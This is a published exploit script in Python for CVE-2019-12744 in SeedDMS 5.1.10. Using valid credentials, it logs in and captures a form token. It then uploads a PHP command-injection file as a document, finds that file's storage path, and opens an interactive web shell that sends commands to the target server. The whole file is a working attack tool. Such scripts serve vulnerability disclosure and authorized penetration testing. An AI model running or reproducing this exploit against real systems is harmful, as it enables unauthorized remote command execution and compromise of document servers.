# Exploit Title: Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated) # Date: 25/06/2021 # Exploit Author: Bryan Leong <NobodyAtall> # Vendor Homepage: https://www.seeddms.org/index.php?id=2 # Software Link: https://sourceforge.net/projects/seeddms/files/seeddms-5.0.11/ # Version: Seeddms 5.1.10 # Tested on: Windows 7 x64 # CVE: CVE-2019-12744 import requests import argparse import sys import random import string from bs4 import BeautifulSoup from requests_toolbelt import MultipartEncoder def sysArgument(): ap = argparse.ArgumentParser() ap.add_argument("-u", "--username", required=True, help="login username") ap.add_argument("-p", "--password", required=True, help="login password") ap.add_argument("--url", required=True, help="target URL Path") args = vars(ap.parse_args()) return args['username'], args['password'], args['url'] def login(sessionObj, username, password, url): loginPath = "/op/op.Login.php" url += loginPath postData = { 'login': username, 'pwd': password, 'lang' : 'en_GB' } try: rsl = sessionObj.post(url, data=postData) if(rsl.status_code == 200): if "Error signing in. User ID or password incorrect." in rsl.text: print("[!] Incorrect Credential.") else: print("[*] Login Successful.") print("[*] Session Token: " + sessionObj.cookies.get_dict()['mydms_session']) return sessionObj else: print("[!] Something went wrong.") print("Status Code: %d" % (rsl.status_code)) sys.exit(0) except Exception as e: print("[!] Something Went Wrong!") print(e) sys.exit(0) return sessionObj def formTokenCapturing(sessionObj, url): path = "/out/out.AddDocument.php?folderid=1&showtree=1" url += path formToken = "" try: rsl = sessionObj.get(url) if(rsl.status_code == 200): print("[*] Captured Form Token.") #extracting form token soup = BeautifulSoup(rsl.text,'html.parser') form1 = soup.findAll("form", {"id": "form1"}) soup = BeautifulSoup(str(form1[0]),'html.parser') formToken = soup.find("input", {"name": "formtoken"}) print("[*] Form Token: " + formToken.attrs['value']) return sessionObj, formToken.attrs['value'] else: print("[!] Something went wrong.") print("Status Code: %d" % (rsl.status_code)) sys.exit(0) except Exception as e: print("[!] Something Went Wrong!") print(e) sys.exit(0) return sessionObj, formToken def uploadingPHP(sessionObj, url, formToken): path = "/op/op.AddDocument.php" url += path #generating random name letters = string.ascii_lowercase rand_name = ''.join(random.choice(letters) for i in range(20)) #POST Data payload = { 'formtoken' : formToken, 'folderid' : '1', 'showtree' : '1', 'name' : rand_name, 'comment' : '', 'keywords' : '', 'sequence' : '2', 'presetexpdate' : 'never', 'expdate' : '', 'ownerid' : '1', 'reqversion' : '1', 'userfile[]' : ( '%s.php' % (rand_name), open('phpCmdInjection.php', 'rb'), 'application/x-httpd-php' ), 'version_comment' : '' } multiPartEncodedData = MultipartEncoder(payload) try: rsl = sessionObj.post(url, data=multiPartEncodedData, headers={'Content-Type' : multiPartEncodedData.content_type}) if(rsl.status_code == 200): print("[*] Command Injection PHP Code Uploaded.") print("[*] Name in Document Content Shows: " + rand_name) return sessionObj, rand_name else: print("[!] Something went wrong.") print("Status Code: %d" % (rsl.status_code)) sys.exit(0) except Exception as e: print("[!] Something Went Wrong!") print(e) sys.exit(0) return sessionObj, rand_name def getDocID(sessionObj, url, docName): path = "/out/out.ViewFolder.php?folderid=1" url += path try: rsl = sessionObj.get(url) if(rsl.status_code == 200): #searching & extracting document id storing payload soup = BeautifulSoup(rsl.text,'html.parser') viewFolderTables = soup.findAll("table", {"id": "viewfolder-table"}) soup = BeautifulSoup(str(viewFolderTables[0]),'html.parser') rowsDoc = soup.findAll("tr", {"class": "table-row-document"}) for i in range(len(rowsDoc)): soup = BeautifulSoup(str(rowsDoc[i]),'html.parser') tdExtracted = soup.findAll("td") foundDocName = tdExtracted[1].contents[0].contents[0] #when document name matched uploaded document name if(foundDocName == docName): print("[*] Found Payload Document Name. Extracting Document ID...") tmp = tdExtracted[1].contents[0].attrs['href'].split('?') docID = tmp[1].replace("&showtree=1", "").replace('documentid=', '') print("[*] Document ID: " + docID) return sessionObj, docID #after loops & still unable to find matched uploaded Document Name print("[!] Unable to find document ID.") sys.exit(0) else: print("[!] Something went wrong.") print("Status Code: %d" % (rsl.status_code)) sys.exit(0) except Exception as e: print("[!] Something Went Wrong!") print(e) sys.exit(0) return sessionObj def shell(sessionObj, url, docID): #remove the directory /seeddms-5.1.x splitUrl = url.split('/') remLastDir = splitUrl[:-1] url = "" #recontruct url for text in remLastDir: url += text + "/" #path storing uploaded php code path = "/data/1048576/%s/1.php" % docID url += path #checking does the uploaded php exists? rsl = sessionObj.get(url) if(rsl.status_code == 200): print("[*] PHP Script Exist!") print("[*] Injecting some shell command.") #1st test injecting whoami command data = { 'cmd' : 'whoami' } rsl = sessionObj.post(url, data=data) if(rsl.text != ""): print("[*] There's response from the PHP script!") print('[*] System Current User: ' + rsl.text.replace("<pre>", "").replace("</pre>", "")) print("[*] Spawning Shell. type .exit to exit the shell", end="\n\n") #start shell iteration while(True): cmd = input("[Seeddms Shell]$ ") if(cmd == ".exit"): print("[*] Exiting shell.") sys.exit(0) data = { 'cmd' : cmd } rsl = sessionObj.post(url, data=data) print(rsl.text.replace("<pre>", "").replace("</pre>", "")) else: print("[!] No response from PHP script. Something went wrong.") sys.exit(0) else: print("[!] PHP Script Not Found!!") print(rsl.status_code) sys.exit(0) def main(): username, password, url = sysArgument() sessionObj = requests.Session() #getting session token from logging in sessionObj = login(sessionObj, username, password, url) #capturing form token for adding document sessionObj, formToken = formTokenCapturing(sessionObj, url) #uploading php code for system command injection sessionObj, docName = uploadingPHP(sessionObj, url, formToken) #getting document id sessionObj, docID = getDocID(sessionObj, url, docName) #spawning shell to exec system Command shell(sessionObj, url, docID) if __name__ == "__main__": main()